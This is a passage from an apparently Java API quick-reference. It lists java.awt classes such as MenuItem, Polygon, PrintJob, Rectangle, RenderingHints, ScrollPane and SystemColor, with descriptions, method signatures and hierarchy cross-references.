Implementations: Component, Frame, Menu, MenuBar

Returned By: MenuComponent.getParent()

MenuItem | Java 1.0
java.awt | serializable AWT component PJ1.1

This class encapsulates a menu item with a specified textual label. A MenuItem can be added to a menu pane with the add() method of Menu. The disable() method makes an item nonselectable; you might use it to gray out a menu item when the command it represents is not valid in the current context. The enable() method makes an item selectable again. In Java 1.1, use setActionCommand() to specify an identifying string that is included in ActionEvent events generated by the menu item.

public class MenuItem extends MenuComponent {
// | Public Constructors
1.1 | public MenuItem (); |
 | public MenuItem (String label); |
1.1 | public MenuItem (String label, MenuShortcut s); |
// | Event Registration Methods (by event name)
1.1 | public void addActionListener (java.awt.event.ActionListener l); | synchronized
1.1 | public void removeActionListener (java.awt.event.ActionListener l); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public String getActionCommand (); | default:""
1.1 | public void setActionCommand (String command); |
 | public boolean isEnabled (); | default:true
1.1 | public void setEnabled (boolean b); | synchronized
 | public String getLabel (); | default:""
 | public void setLabel (String label); | synchronized
1.1 | public MenuShortcut getShortcut (); | default:null
1.1 | public void setShortcut (MenuShortcut s); |
// | Public Instance Methods
 | public void addNotify (); |
1.1 | public void deleteShortcut (); |
// | Public Methods Overriding MenuComponent
 | public String paramString (); |
// | Protected Methods Overriding MenuComponent
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected final void disableEvents (long eventsToDisable); |
1.1 | protected final void enableEvents (long eventsToEnable); |
1.1 | protected void processActionEvent (java.awt.event.ActionEvent e); |
// | Deprecated Public Methods
# | public void disable (); | synchronized
# | public void enable (); | synchronized
# | public void enable (boolean b); |
}

Hierarchy: Object-->MenuComponent(Serializable)-->MenuItem

Subclasses: CheckboxMenuItem, Menu

Passed To: Menu.{add(), insert()}, Toolkit.createMenuItem(), java.awt.peer.MenuPeer.addItem()

Returned By: Menu.{add(), getItem()}, MenuBar.getShortcutMenuItem()

MenuShortcut | Java 1.1
java.awt | serializable PJ1.1(opt)

This class represents a keystroke used to select a MenuItem without actually pulling down the menu. A MenuShortcut object can be specified for a MenuItem when the MenuItem is created or by calling the item's setShortcut() method. The keystroke sequence for the menu shortcut automatically appears in the label for the menu item, so you do not need to add this information yourself.

When you create a MenuShortcut, you specify the keycode of the shortcut--this is one of the VK_ constants defined by java.awt.event.KeyEvent and is not always the same as a corresponding character code. You may optionally specify a boolean value that, if true, indicates that the MenuShortcut requires the Shift key to be held down.

Note that menu shortcuts are triggered in a platform-dependent way. When you create a shortcut, you specify only the keycode and an optional Shift modifier. The shortcut is not triggered, however, unless an additional modifier key is held down. On Windows platforms, for example, the Ctrl key is used for menu shortcuts. You can query the platform-specific menu shortcut key with the getMenuShortcutKeyMask() method of Toolkit.

public class MenuShortcut implements Serializable {
// | Public Constructors
 | public MenuShortcut (int key);
 | public MenuShortcut (int key, boolean useShiftModifier);
// | Public Instance Methods
 | public boolean equals (MenuShortcut s);
 | public int getKey ();
 | public boolean usesShiftModifier ();
// | Public Methods Overriding Object
1.2 | public boolean equals (Object obj);
1.2 | public int hashCode ();
 | public String toString ();
// | Protected Instance Methods
 | protected String paramString ();
}

Hierarchy: Object-->MenuShortcut(Serializable)

Passed To: MenuBar.{deleteShortcut(), getShortcutMenuItem()}, MenuItem.{MenuItem(), setShortcut()}, MenuShortcut.equals()

Returned By: MenuItem.getShortcut()

Paint Java 1.2
java.awt

This interface defines a color or pattern used by Java 2D in drawing and filling operations. Color is the simplest implementation: it performs drawing and filling using a solid color. GradientPaint and TexturePaint are two other commonly used implementations. Most applications can simply use these predefined Paint implementations and do not need to implement this interface themselves.

Because a single Paint object may be used by different threads with different Graphics2D objects, the Paint object does not perform painting operations itself. Instead, it defines a createContext() method that returns a PaintContext object that is capable of performing painting in a particular context. See PaintContext for details.

public abstract interface Paint extends Transparency {
// | Public Instance Methods
 | public abstract PaintContext createContext (java.awt.image.ColorModel cm, Rectangle deviceBounds, java.awt.geom.Rectangle2D userBounds, java.awt.geom.AffineTransform xform, RenderingHints hints);
}

Hierarchy: (Paint(Transparency))

Implementations: Color, GradientPaint, TexturePaint

Passed To: Graphics2D.setPaint()

Returned By: Graphics2D.getPaint()

PaintContext Java 1.2
java.awt

This interface defines the methods that do the actual work of computing the colors to be used in Java 2D drawing and filling operations. PaintContext is used internally by Java 2D; applications never need to call any of its methods. Only applications that implement custom Paint objects need to implement this interface.

A Graphics2D object creates a PaintContext object by calling the createContext() method of its Paint object. The getRaster() method of the PaintContext is called to perform the actual painting; this method must return a java.awt.image.Raster object that contains the appropriate colors for the specified rectangle. The Graphics2D object calls dispose() when the PaintContext is no longer needed. The dispose() method should release any system resources held by the PaintContext.

public abstract interface PaintContext {
// | Public Instance Methods
 | public abstract void dispose ();
 | public abstract java.awt.image.ColorModel getColorModel ();
 | public abstract java.awt.image.Raster getRaster (int x, int y, int w, int h);
}

Returned By: Color.createContext(), GradientPaint.createContext(), Paint.createContext(), SystemColor.createContext(), TexturePaint.createContext()

Panel | Java 1.0
java.awt | serializable AWT component PJ1.1

This class is a Container that is itself contained within a container. Unlike Frame and Dialog, Panel is a container that does not create a separate window of its own. Panel is suitable for holding portions of a larger interface within a parent Frame or Dialog or within another Panel. (Because Applet is a subclass of Panel, applets are displayed in a Panel that is contained within a web browser or applet viewer.) The default LayoutManager for a Panel is FlowLayout.

public class Panel extends Container {
// | Public Constructors
 | public Panel ();
1.1 | public Panel (LayoutManager layout);
// | Public Methods Overriding Container
 | public void addNotify ();
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->Panel

Subclasses: java.applet.Applet

Passed To: Toolkit.createPanel()

Point | Java 1.0
java.awt | cloneable serializable PJ1.1

This class holds the integer X and Y coordinates of a two-dimensional point. The move() and setLocation() methods set the coordinates, and the translate() method adds specified values to the coordinates. Also, the x and y fields are public and may be manipulated directly.

In Java 1.0 and Java 1.1, Point is a subclass of Object. In Java 1.2, with the introduction of Java 2D, Point has become a concrete subclass of java.awt.geom.Point2D. Contrast Point with Point2D.Float and Point2D.Double, which use float and double fields to represent the coordinates of the point.

public class Point extends java.awt.geom.Point2D implements Serializable {
// | Public Constructors
1.1 | public Point (); |
1.1 | public Point (Point p); |
 | public Point (int x, int y); |
// | Public Instance Methods
1.1 | public Point getLocation (); |
 | public void move (int x, int y); |
1.1 | public void setLocation (Point p); |
1.1 | public void setLocation (int x, int y); |
 | public void translate (int x, int y); |
// | Public Methods Overriding Point2D
 | public boolean equals (Object obj); |
1.2 | public double getX (); | default:0.0
1.2 | public double getY (); | default:0.0
1.2 | public void setLocation (double x, double y); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public int x ; |
 | public int y ; |
}

Hierarchy: Object-->java.awt.geom.Point2D(Cloneable)-->Point(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: javax.swing.JViewport.lastPaintPosition

Polygon | Java 1.0
java.awt | serializable shape PJ1.1

This class defines a polygon as an array of points. The points of the polygon can be passed to the constructor or specified with addPoint(). getBoundingBox() returns the smallest Rectangle that contains the polygon, and inside() tests whether a specified point is within the Polygon. Note that the arrays of X and Y points and the number of points in the polygon (not necessarily the same as the array size) are defined as public variables. Polygon objects are used when drawing polygons with the drawPolygon() and fillPolygon() methods of Graphics. In Java 2, Polygon has become part of the Java 2D API. It implements the Shape interface and can be passed to the draw() and fill() method of a Graphics2D object.

public class Polygon implements Serializable, Shape {
// | Public Constructors
 | public Polygon (); |
 | public Polygon (int[ ] xpoints, int[ ] ypoints, int npoints); |
// | Public Instance Methods
 | public void addPoint (int x, int y); |
1.1 | public boolean contains (Point p); |
1.1 | public boolean contains (int x, int y); |
1.1 | public void translate (int deltaX, int deltaY); |
// | Methods Implementing Shape
1.2 | public boolean contains (java.awt.geom.Rectangle2D r); |
1.2 | public boolean contains (java.awt.geom.Point2D p); |
1.2 | public boolean contains (double x, double y); |
1.2 | public boolean contains (double x, double y, double w, double h); |
1.1 | public Rectangle getBounds (); |
1.2 | public java.awt.geom.Rectangle2D getBounds2D (); | default:Rectangle2D.Float
1.2 | public java.awt.geom.PathIterator getPathIterator (java.awt.geom.AffineTransform at); |
1.2 | public java.awt.geom.PathIterator getPathIterator (java.awt.geom.AffineTransform at, double flatness); |
1.2 | public boolean intersects (java.awt.geom.Rectangle2D r); |
1.2 | public boolean intersects (double x, double y, double w, double h); |
// | Public Instance Fields
 | public int npoints ; |
 | public int[ ] xpoints ; |
 | public int[ ] ypoints ; |
// | Protected Instance Fields
 | protected Rectangle bounds ; |
// | Deprecated Public Methods
# | public Rectangle getBoundingBox (); |
# | public boolean inside (int x, int y); |
}

Hierarchy: Object-->Polygon(Serializable,Shape)

Passed To: Graphics.{drawPolygon(), fillPolygon()}

PopupMenu | Java 1.1
java.awt | serializable AWT component PJ1.1(mod)

PopupMenu is a simple subclass of Menu that represents a popup menu rather than a pulldown menu. You create a PopupMenu just as you would create a Menu object. The main difference is that a popup menu must be popped up in response to a user event by calling its show() method. Another difference is that, unlike a Menu, which can only appear within a MenuBar or another Menu, a PopupMenu can be associated with any component in a graphical user interface. A PopupMenu is associated with a component by calling the add() method of the component.

Popup menus are popped up by the user in different ways on different platforms. In order to hide this platform dependency, the MouseEvent class defines the isPopupTrigger() method. If this method returns true, the specified MouseEvent represents the platform-specific popup menu trigger event, and you should use the show() method to display your PopupMenu. Note that the X and Y coordinates passed to show() should be in the coordinate system of the specified Component.

Support for nested popup menus is optional in Personal Java environments, and the inherited add() method may throw an exception if you attempt to add a Menu child to a PopupMenu.

public class PopupMenu extends Menu {
// | Public Constructors
 | public PopupMenu ();
 | public PopupMenu (String label);
// | Public Instance Methods
 | public void show (Component origin, int x, int y);
// | Public Methods Overriding Menu
 | public void addNotify ();
}

Hierarchy: Object-->MenuComponent(Serializable)-->MenuItem-->Menu(MenuContainer)-->PopupMenu

Passed To: Component.add(), Toolkit.createPopupMenu()

PrintGraphics | Java 1.1
java.awt | PJ1.1

The Graphics object returned by the getGraphics() method of PrintJob always implements this PrintGraphics interface. You can use this fact to distinguish a Graphics object that draws to the screen from one that generates hardcopy. This is a useful thing to do in a paint() method, when you want to generate hardcopy that differs somewhat from what is being displayed on-screen.

The getPrintJob() method defined by this interface can be used to return the PrintJob with which the PrintGraphics object is associated.

public abstract interface PrintGraphics {
// | Public Instance Methods
 | public abstract PrintJob getPrintJob ();
}
PrintJob | Java 1.1
java.awt | PJ1.1

A PrintJob object represents a single printing session, or job. The job may consist of one or more individual pages.

PrintJob is abstract, so it cannot be instantiated directly. Instead, you must call the getPrintJob() method of the Toolkit object. Calling this method posts an appropriate print dialog box to request information from the user, such as which printer should be used. An application has no control over this process, but may pass a Properties object in which the dialog stores the user's printing preferences. This Properties object can then be reused when initiating subsequent print jobs.

Once a PrintJob object has been obtained from the Toolkit object, you call the getGraphics() method of PrintJob to obtain a Graphics object. Any drawing done with this Graphics object is printed, instead of displayed on-screen. The object returned by getGraphics() implements the PrintGraphics interface. Do not make any assumptions about the initial state of the Graphics object; in particular, note that you must specify a font before you can draw any text.

When you are done drawing all the desired output on a page, call the dispose() method of the Graphics object to force the current page to be printed. You can call getGraphics() and dispose() repeatedly to print any number of pages required by your application. However, if the lastPageFirst() method returns true, the user has requested that pages be printed in reverse order. It is up to your application to implement this feature.

The getPageDimension() method returns the size of the page in pixels. getPageResolution() returns the resolution of the page in pixels per inch. This resolution is closer to a screen resolution (70 to 100 pixels per inch) than a typical printer resolution (300 to 600 pixels per inch). This means that on-screen drawings can be drawn directly to the printer without scaling. It also means, however, that you cannot take full advantage of the extra resolution provided by printers.

When you are done with a PrintJob and have called dispose() on the Graphics object returned by getGraphics(), you should call end() to terminate the job.

As of Java 1.2, the PrintJob class has been superseded by a more complete printing API provided in the java.awt.print package.

public abstract class PrintJob {
// | Public Constructors
 | public PrintJob ();
// | Property Accessor Methods (by property name)
 | public abstract Graphics getGraphics ();
 | public abstract Dimension getPageDimension ();
 | public abstract int getPageResolution ();
// | Public Instance Methods
 | public abstract void end ();
 | public abstract boolean lastPageFirst ();
// | Public Methods Overriding Object
 | public void finalize ();
}

Returned By: PrintGraphics.getPrintJob(), Toolkit.getPrintJob()

Rectangle | Java 1.0
java.awt | cloneable serializable shape PJ1.1

This class defines a rectangle using four integer values: the X and Y coordinates of its upper-left corner and its width and height. The instance methods perform various tests and transformations on the rectangle. The x, y, width, and height methods are public and may thus be manipulated directly. Rectangle is used for a variety of purposes throughout java.awt and related packages.

In Java 1.0 and Java 1.1, Rectangle is a subclass of Object. In Java 2, with the introduction of Java 2D, Rectangle has become a concrete subclass of java.awt.geom.Rectangle2D. Contrast Rectangle with Rectangle2D.Float and Rectangle2D.Double, which use float and double fields to represent the coordinates of the rectangle.

public class Rectangle extends java.awt.geom.Rectangle2D implements Serializable, Shape {
// | Public Constructors
 | public Rectangle (); |
1.1 | public Rectangle (Rectangle r); |
 | public Rectangle (Dimension d); |
 | public Rectangle (Point p); |
 | public Rectangle (int width, int height); |
 | public Rectangle (Point p, Dimension d); |
 | public Rectangle (int x, int y, int width, int height); |
// | Property Accessor Methods (by property name)
1.1 | public Rectangle getBounds (); | Implements:Shape
1.1 | public void setBounds (Rectangle r); |
1.1 | public void setBounds (int x, int y, int width, int height); |
1.2 | public java.awt.geom.Rectangle2D getBounds2D (); | Implements:Shape default:Rectangle
 | public boolean isEmpty (); | Overrides:RectangularShape default:true
1.2 | public double getHeight (); | Overrides:RectangularShape default:0.0
1.1 | public Point getLocation (); |
1.1 | public void setLocation (Point p); |
1.1 | public void setLocation (int x, int y); |
1.1 | public Dimension getSize (); |
1.1 | public void setSize (Dimension d); |
1.1 | public void setSize (int width, int height); |
1.2 | public double getWidth (); | Overrides:RectangularShape default:0.0
1.2 | public double getX (); | Overrides:RectangularShape default:0.0
1.2 | public double getY (); | Overrides:RectangularShape default:0.0
// | Public Instance Methods
 | public void add (Rectangle r); |
 | public void add (Point pt); |
 | public void add (int newx, int newy); |
1.2 | public boolean contains (Rectangle r); |
1.1 | public boolean contains (Point p); |
1.1 | public boolean contains (int x, int y); |
1.2 | public boolean contains (int X, int Y, int W, int H); |
 | public void grow (int h, int v); |
 | public Rectangle intersection (Rectangle r); |
 | public boolean intersects (Rectangle r); |
 | public void translate (int x, int y); |
 | public Rectangle union (Rectangle r); |
// | Methods Implementing Shape
1.1 | public Rectangle getBounds (); |
1.2 | public java.awt.geom.Rectangle2D getBounds2D (); | default:Rectangle
// | Public Methods Overriding Rectangle2D
1.2 | public java.awt.geom.Rectangle2D createIntersection (java.awt.geom.Rectangle2D r); |
1.2 | public java.awt.geom.Rectangle2D createUnion (java.awt.geom.Rectangle2D r); |
 | public boolean equals (Object obj); |
1.2 | public int outcode (double x, double y); |
1.2 | public void setRect (double x, double y, double width, double height); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public int height ; |
 | public int width ; |
 | public int x ; |
 | public int y ; |
// | Deprecated Public Methods
# | public boolean inside (int x, int y); |
# | public void move (int x, int y); |
# | public void reshape (int x, int y, int width, int height); |
# | public void resize (int width, int height); |
}

Hierarchy: Object-->java.awt.geom.RectangularShape(Cloneable,Shape)-->java.awt.geom.Rectangle2D-->Rectangle(Serializable,Shape)

Subclasses: javax.swing.text.DefaultCaret

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Polygon.bounds

RenderingHints | Java 1.2
java.awt | cloneable collection

This class contains a set of key-to-value mappings that provide hints to Java 2D about the speed-versus-quality trade-offs it should make. The constants that begin with KEY_ are the hints, while the constants that begin with VALUE_ are the values that may be specified for those hints. Use put() to add a hint to the RenderingHints object. Once you have specified all desired hints, pass the RenderingHints object to the setRenderingHints() or addRenderingHints() method of a Graphics2D object. If you want to set only a single rendering hint, you don't need to create a RenderingHints object at all; you can simply pass a key and value to the setRenderingHint() method of Graphics2D.

public class RenderingHints implements Cloneable, java.util.Map {
// | Public Constructors
 | public RenderingHints (java.util.Map init);
 | public RenderingHints (RenderingHints.Key key, Object value);
// | Public Constants
 | public static final RenderingHints.Key KEY_ALPHA_INTERPOLATION ;
 | public static final RenderingHints.Key KEY_ANTIALIASING ;
 | public static final RenderingHints.Key KEY_COLOR_RENDERING ;
 | public static final RenderingHints.Key KEY_DITHERING ;
 | public static final RenderingHints.Key KEY_FRACTIONALMETRICS ;
 | public static final RenderingHints.Key KEY_INTERPOLATION ;
 | public static final RenderingHints.Key KEY_RENDERING ;
 | public static final RenderingHints.Key KEY_TEXT_ANTIALIASING ;
 | public static final Object VALUE_ALPHA_INTERPOLATION_DEFAULT ;
 | public static final Object VALUE_ALPHA_INTERPOLATION_QUALITY ;
 | public static final Object VALUE_ALPHA_INTERPOLATION_SPEED ;
 | public static final Object VALUE_ANTIALIAS_DEFAULT ;
 | public static final Object VALUE_ANTIALIAS_OFF ;
 | public static final Object VALUE_ANTIALIAS_ON ;
 | public static final Object VALUE_COLOR_RENDER_DEFAULT ;
 | public static final Object VALUE_COLOR_RENDER_QUALITY ;
 | public static final Object VALUE_COLOR_RENDER_SPEED ;
 | public static final Object VALUE_DITHER_DEFAULT ;
 | public static final Object VALUE_DITHER_DISABLE ;
 | public static final Object VALUE_DITHER_ENABLE ;
 | public static final Object VALUE_FRACTIONALMETRICS_DEFAULT ;
 | public static final Object VALUE_FRACTIONALMETRICS_OFF ;
 | public static final Object VALUE_FRACTIONALMETRICS_ON ;
 | public static final Object VALUE_INTERPOLATION_BICUBIC ;
 | public static final Object VALUE_INTERPOLATION_BILINEAR ;
 | public static final Object VALUE_INTERPOLATION_NEAREST_NEIGHBOR ;
 | public static final Object VALUE_RENDER_DEFAULT ;
 | public static final Object VALUE_RENDER_QUALITY ;
 | public static final Object VALUE_RENDER_SPEED ;
 | public static final Object VALUE_TEXT_ANTIALIAS_DEFAULT ;
 | public static final Object VALUE_TEXT_ANTIALIAS_OFF ;
 | public static final Object VALUE_TEXT_ANTIALIAS_ON ;
// | Inner Classes
 | ;
// | Public Instance Methods
 | public void add (RenderingHints hints);
// | Methods Implementing Map
 | public void clear ();
 | public boolean containsKey (Object key);
 | public boolean containsValue (Object value);
 | public java.util.Set entrySet ();
 | public boolean equals (Object o);
 | public Object get (Object key);
 | public int hashCode ();
 | public boolean isEmpty ();
 | public java.util.Set keySet ();
 | public Object put (Object key, Object value);
 | public void putAll (java.util.Map m);
 | public Object remove (Object key);
 | public int size ();
 | public java.util.Collection values ();
// | Public Methods Overriding Object
 | public Object clone ();
 | public String toString ();
}

Hierarchy: Object-->RenderingHints(Cloneable,java.util.Map)

Passed To: Too many methods to list.

Returned By: Graphics2D.getRenderingHints(), java.awt.image.AffineTransformOp.getRenderingHints(), java.awt.image.BandCombineOp.getRenderingHints(), java.awt.image.BufferedImageOp.getRenderingHints(), java.awt.image.ColorConvertOp.getRenderingHints(), java.awt.image.ConvolveOp.getRenderingHints(), java.awt.image.LookupOp.getRenderingHints(), java.awt.image.RasterOp.getRenderingHints(), java.awt.image.RescaleOp.getRenderingHints(), java.awt.image.renderable.RenderContext.getRenderingHints()

RenderingHints.Key Java 1.2
java.awt

This class is the type of the KEY_ constants defined by RenderingHints.

public abstract static class RenderingHints.Key {
// | Protected Constructors
 | protected Key (int privatekey);
// | Public Instance Methods
 | public abstract boolean isCompatibleValue (Object val);
// | Public Methods Overriding Object
 | public final boolean equals (Object o);
 | public final int hashCode ();
// | Protected Instance Methods
 | protected final int intKey ();
}

Passed To: Graphics2D.{getRenderingHint(), setRenderingHint()}, RenderingHints.RenderingHints()

Type Of: RenderingHints.{KEY_ALPHA_INTERPOLATION, KEY_ANTIALIASING, KEY_COLOR_RENDERING, KEY_DITHERING, KEY_FRACTIONALMETRICS, KEY_INTERPOLATION, KEY_RENDERING, KEY_TEXT_ANTIALIASING}

Scrollbar | Java 1.0
java.awt | serializable AWT component PJ1.1(opt)

This Component represents a graphical scrollbar. setValue() sets the displayed value of the scrollbar. setValues() sets the displayed value, the page size, and the minimum and maximum values. The constants HORIZONTAL and VERTICAL are legal values for the scrollbar orientation.

public class Scrollbar extends Component implements Adjustable {
// | Public Constructors
 | public Scrollbar (); |
 | public Scrollbar (int orientation); |
 | public Scrollbar (int orientation, int value, int visible, int minimum, int maximum); |
// | Public Constants
 | public static final int HORIZONTAL ; | =0
 | public static final int VERTICAL ; | =1
// | Event Registration Methods (by event name)
1.1 | public void addAdjustmentListener (java.awt.event.AdjustmentListener l); | Implements:Adjustable synchronized
1.1 | public void removeAdjustmentListener (java.awt.event.AdjustmentListener l); | Implements:Adjustable synchronized
// | Property Accessor Methods (by property name)
1.1 | public int getBlockIncrement (); | Implements:Adjustable default:10
1.1 | public void setBlockIncrement (int v); | Implements:Adjustable
 | public int getMaximum (); | Implements:Adjustable default:100
1.1 | public void setMaximum (int newMaximum); | Implements:Adjustable
 | public int getMinimum (); | Implements:Adjustable default:0
1.1 | public void setMinimum (int newMinimum); | Implements:Adjustable
 | public int getOrientation (); | Implements:Adjustable default:1
1.1 | public void setOrientation (int orientation); |
1.1 | public int getUnitIncrement (); | Implements:Adjustable default:1
1.1 | public void setUnitIncrement (int v); | Implements:Adjustable
 | public int getValue (); | Implements:Adjustable default:0
 | public void setValue (int newValue); | Implements:Adjustable
1.1 | public int getVisibleAmount (); | Implements:Adjustable default:10
1.1 | public void setVisibleAmount (int newAmount); | Implements:Adjustable
// | Public Instance Methods
 | public void setValues (int value, int visible, int minimum, int maximum); | synchronized
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processAdjustmentEvent (java.awt.event.AdjustmentEvent e); |
// | Deprecated Public Methods
# | public int getLineIncrement (); | default:1
# | public int getPageIncrement (); | default:10
# | public int getVisible (); | default:10
# | public void setLineIncrement (int v); | synchronized
# | public void setPageIncrement (int v); | synchronized
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Scrollbar(Adjustable)

Passed To: Toolkit.createScrollbar()

ScrollPane | Java 1.1
java.awt | serializable AWT component PJ1.1(mod)

This Container class creates horizontal and vertical scrollbars surrounding a viewport and allows a single child component to be displayed and scrolled within this viewport. Typically, the child of the ScrollPane is larger than the ScrollPane itself, so scrollbars allow the user to select the currently visible portion.

When you call the ScrollPane() constructor, you may optionally specify a scrollbar display policy, which should be one of the three constants defined by this class. If you do not specify a policy, ScrollPane uses the SCROLLBARS_AS_NEEDED policy. Personal Java environments may provide a scrolling mechanism other than scrollbars. In this case, the scrollbar display policy may be ignored.

A program can programmatically scroll the child within the viewport by calling setScrollPosition(). getHAdjustable() and getVAdjustable() return the horizontal and vertical Adjustable objects that control scrolling (typically these are not actually instances of Scrollbar). You can use these Adjustable objects to specify the unit and block increment values for the scrollbars. You can also directly set the Adjustable value as an alternative to calling setScrollPosition(), but you should not set other values of an Adjustable object.

Use setSize() to set the size of the ScrollPane container. You may want to take the size of the scrollbars into account when computing the overall container size--use getHScrollbarHeight() and getVScrollbarWidth() to obtain these values.

ScrollPane overrides the printComponents() method of Container, so that when a ScrollPane is printed, the entire child component, rather than only the currently visible portion, is printed.

public class ScrollPane extends Container {
// | Public Constructors
 | public ScrollPane (); |
 | public ScrollPane (int scrollbarDisplayPolicy); |
// | Public Constants
 | public static final int SCROLLBARS_ALWAYS ; | =1
 | public static final int SCROLLBARS_AS_NEEDED ; | =0
 | public static final int SCROLLBARS_NEVER ; | =2
// | Property Accessor Methods (by property name)
 | public Adjustable getHAdjustable (); |
 | public int getHScrollbarHeight (); | default:0
 | public final void setLayout (LayoutManager mgr); | Overrides:Container
 | public int getScrollbarDisplayPolicy (); | default:0
 | public Point getScrollPosition (); |
 | public void setScrollPosition (Point p); |
 | public void setScrollPosition (int x, int y); |
 | public Adjustable getVAdjustable (); |
 | public Dimension getViewportSize (); |
 | public int getVScrollbarWidth (); | default:0
// | Public Methods Overriding Container
 | public void addNotify (); |
 | public void doLayout (); |
 | public String paramString (); |
 | public void printComponents (Graphics g); |
// | Protected Methods Overriding Container
 | protected final void addImpl (Component comp, Object constraints, int index); |
// | Deprecated Public Methods
# | public void layout (); | Overrides:Container
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container-->ScrollPane

Passed To: Toolkit.createScrollPane()

Shape | Java 1.1
java.awt | shape PJ1.1

This interface is one of the most important in all of Java 2D. It defines methods necessary for generalized operations on shapes, such as drawing, filling, and insideness testing. The package java.awt.geom contains a number of useful implementations of this interface, including GeneralPath, which can be used to describe arbitrary shapes composed of line and curve segments. java.awt.Polygon and java.awt.Rectangle are also important implementations of Shape. Most applications can rely on these predefined implementations and do not need to implement this interface themselves.

getBounds() and getBounds2D() return rectangular bounding boxes that completely enclose a Shape. contains() and intersects() test whether the shape contains or intersects a specified point or rectangle. The most important method of the Shape interface, however, is getPathIterator(). This method returns a java.awt.geom.PathIterator object that traces the outline of the shape using line and curve segments. The two-argument version of this method returns a PathIterator that is guaranteed to trace the outline using only straight line segments and no curves. The flatness argument is a measure of how closely the line segments must approximate the actual outline. Smaller values of flatness require increasingly accurate approximations.

The Shape interface was first defined in Java 1.1. In that version of the language it contained only the getBounds() method. The interface is so central to Java 2D and has grown so much since the Java 1.1 version, however, that it should generally be considered to be new in Java 1.2.

public abstract interface Shape {
// | Public Instance Methods
1.2 | public abstract boolean contains (java.awt.geom.Point2D p);
1.2 | public abstract boolean contains (java.awt.geom.Rectangle2D r);
1.2 | public abstract boolean contains (double x, double y);
1.2 | public abstract boolean contains (double x, double y, double w, double h);
 | public abstract Rectangle getBounds ();
1.2 | public abstract java.awt.geom.Rectangle2D getBounds2D ();
1.2 | public abstract java.awt.geom.PathIterator getPathIterator (java.awt.geom.AffineTransform at);
1.2 | public abstract java.awt.geom.PathIterator getPathIterator (java.awt.geom.AffineTransform at, double flatness);
1.2 | public abstract boolean intersects (java.awt.geom.Rectangle2D r);
1.2 | public abstract boolean intersects (double x, double y, double w, double h);
}

Implementations: Polygon, Rectangle, java.awt.geom.Area, java.awt.geom.CubicCurve2D, java.awt.geom.GeneralPath, java.awt.geom.Line2D, java.awt.geom.QuadCurve2D, java.awt.geom.RectangularShape

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Stroke Java 1.2
java.awt

This interface defines how Java 2D draws the outline of a shape. It is responsible for graphical attributes such as line width and dash pattern. However, the Stroke is not responsible for the color or texture of the outline--those are the responsibility of the Paint interface. By default, lines are solid and are one pixel wide. To specify a different line style, pass a Stroke object to the setStroke() method of a Graphics2D object.

Mathematically, the outline of a shape is an infinitely thin line. Because it has no thickness, it cannot be drawn. The Stroke interface is responsible for defining how such infinitely thin outlines are drawn. The createStrokedShape() method is passed the Shape that is to be drawn. It returns a new Shape that places a finite width around the infinitely thin boundaries of the specified shape. The outline of the original shape can then be drawn by filling the interior of the returned shape.

BasicStroke implements Stroke and is the only implementation needed by most programs. Some programs may define their own implementations to achieve special effects not possible with BasicStroke, however.

public abstract interface Stroke {
// | Public Instance Methods
 | public abstract Shape createStrokedShape (Shape p);
}

Implementations: BasicStroke

Passed To: Graphics2D.setStroke()

Returned By: Graphics2D.getStroke()

SystemColor | Java 1.1
java.awt | serializable PJ1.1

Instances of the SystemColor class represent colors used in the system desktop. You can use these colors to produce applications and custom components that fit well in the desktop color scheme. On platforms that allow the desktop colors to be modified dynamically, the actual colors represented by these symbolic system colors may be dynamically updated.

The SystemColor class does not have a constructor, but it defines constant SystemColor objects that represent each of the symbolic colors used by the system desktop. If you need to compare a SystemColor object to a regular Color object, use the getRGB() method of both objects and compare the resulting values.

public final class SystemColor extends Color implements Serializable {
// | No Constructor
// | Public Constants
 | public static final int ACTIVE_CAPTION ; | =1
 | public static final int ACTIVE_CAPTION_BORDER ; | =3
 | public static final int ACTIVE_CAPTION_TEXT ; | =2
 | public static final SystemColor activeCaption ; |
 | public static final SystemColor activeCaptionBorder ; |
 | public static final SystemColor activeCaptionText ; |
 | public static final SystemColor control ; |
 | public static final int CONTROL ; | =17
 | public static final int CONTROL_DK_SHADOW ; | =22
 | public static final int CONTROL_HIGHLIGHT ; | =19
 | public static final int CONTROL_LT_HIGHLIGHT ; | =20
 | public static final int CONTROL_SHADOW ; | =21
 | public static final int CONTROL_TEXT ; | =18
 | public static final SystemColor controlDkShadow ; |
 | public static final SystemColor controlHighlight ; |
 | public static final SystemColor controlLtHighlight ; |
 | public static final SystemColor controlShadow ; |
 | public static final SystemColor controlText ; |
 | public static final SystemColor desktop ; |
 | public static final int DESKTOP ; | =0
 | public static final int INACTIVE_CAPTION ; | =4
 | public static final int INACTIVE_CAPTION_BORDER ; | =6
 | public static final int INACTIVE_CAPTION_TEXT ; | =5
 | public static final SystemColor inactiveCaption ; |
 | public static final SystemColor inactiveCaptionBorder ; |
 | public static final SystemColor inactiveCaptionText ; |
 | public static final SystemColor info ; |
 | public static final int INFO ; | =24
 | public static final int INFO_TEXT ; | =25
 | public static final SystemColor infoText ; |
 | public static final SystemColor menu ; |
 | public static final int MENU ; | =10
 | public static final int MENU_TEXT ; | =11
 | public static final SystemColor menuText ; |
 | public static final int NUM_COLORS ; | =26
 | public static final SystemColor scrollbar ; |
 | public static final int SCROLLBAR ; | =23
 | public static final int TEXT ; | =12
 | public static final SystemColor text ; |
 | public static final int TEXT_HIGHLIGHT ; | =14
 | public static final int TEXT_HIGHLIGHT_TEXT ; | =15
 | public static final int TEXT_INACTIVE_TEXT ; | =16
 | public static final int TEXT_TEXT ; | =13
 | public static final SystemColor textHighlight ; |
 | public static final SystemColor textHighlightText ; |
 | public static final SystemColor textInactiveText ; |
 | public static final SystemColor textText ; |
 | public static final int WINDOW ; | =7
 | public static final SystemColor window ; |
